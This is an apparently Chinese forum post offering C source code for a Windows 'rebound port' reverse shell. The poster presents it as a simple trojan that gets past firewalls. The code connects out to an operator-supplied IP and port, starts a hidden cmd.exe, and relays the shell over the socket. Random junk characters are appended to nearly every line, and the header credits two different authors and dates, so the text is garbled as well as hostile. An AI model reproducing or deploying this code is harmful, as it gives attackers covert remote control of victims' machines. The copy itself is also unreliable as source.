这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 bD
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/* ============================== ;R+Gf!1
Rebound port in Windows NT n'ZPB
By wind,2006/7 [p4([ef
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===============================*/ #IppjaPl8
#include PdKcDKJ
#include MZ)lNU l
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#pragma comment(lib,"wsock32.lib") &LV'"2ng8
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void OutputShell(); #F/W_G7 v
SOCKET sClient; fm#7}Y
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; :tENn
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void main(int argc,char **argv) wI7.M
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{ 2L<1]:I
WSADATA stWsaData; di;~$rI!?
int nRet; e<DcuF<ZS
SOCKADDR_IN stSaiClient,stSaiServer; C^?/9\
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if(argc != 3) dM"5obEb
{ Y;\@
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printf("Useage:\n\rRebound DestIP DestPort\n"); 4{,!'NA
return; v?d`fd
} JrxQ.,*i
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WSAStartup(MAKEWORD(2,2),&stWsaData); {#t7lV'4
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); Yl1l$[A$
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stSaiClient.sin_family = AF_INET; a U<+ `
stSaiClient.sin_port = htons(0); 9qq6P!
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); sCf)#6mI
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) nBd(pOe
{ n-?zH:]GG{
printf("Bind Socket Failed!\n"); D3O)Tj@:}(
return; Dl?:Mh
} oh:.iL}j
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stSaiServer.sin_family = AF_INET; | @B|o-
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); /+<G@+(
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); u3cl7~- yW
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) ?wIw$p>wT
{ 6/0bis
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printf("Connect Error!"); Q{
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return; !6 kn>447Y
} M"Y,kA|+
OutputShell(); M^n^wz
} @E> rqI;`
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void OutputShell() a0k/R<4
{ /.UISArH
char szBuff[1024]; p8iKZI]g
SECURITY_ATTRIBUTES stSecurityAttributes; @6y)wA9Yx
OSVERSIONINFO stOsversionInfo;
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HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; (F*y27_u
STARTUPINFO stStartupInfo; Eh *u6K)Z
char *szShell; ?%T]V+40
PROCESS_INFORMATION stProcessInformation; ,W$&OD
unsigned long lBytesRead; /i"1e:cK
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); 7Xh
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); T'5MO\
stSecurityAttributes.lpSecurityDescriptor = 0; V|2[>\Cv
stSecurityAttributes.bInheritHandle = TRUE; h\6 t\_^\
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); MZ^(BOe_
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); IRsyy\[kp8
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); C jz(-018
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 6"2IV
stStartupInfo.wShowWindow = SW_HIDE; <,t6A?YoMP
stStartupInfo.hStdInput = hReadPipe; Vo(bro4ZQi
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; iG{xDj{CKv
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GetVersionEx(&stOsversionInfo); >B$B|g~
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switch(stOsversionInfo.dwPlatformId) 5~RR
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{ lG`%4}1
case 1: `dgZ `#
szShell = "command.com"; >UXNR`?
break; N}'2GBqfU4
default: m :2A[H+
szShell = "cmd.exe"; D1wONss
break; -=2V4WU~
} :;w#l"e7<
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); {Lsl2@22
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send(sClient,szMsg,77,0); ZtX
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while(1) m(^nG_eX
{ Am"&ApK
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); 1P G"IaOb
if(lBytesRead) wB"`lY
{ Fm[3Btn
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); }qBmt>#
send(sClient,szBuff,lBytesRead,0); kTm}VTr
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} 2u(G:cR
else KESM5p"f
{ f8)fm2^09
lBytesRead=recv(sClient,szBuff,1024,0); a:F\4x=
if(lBytesRead<=0) break; =OFx4#6a
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); 6K^O.VoV^J
} OU<v9`<
} !gJw?(8"
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return; m"wP]OQH*+
}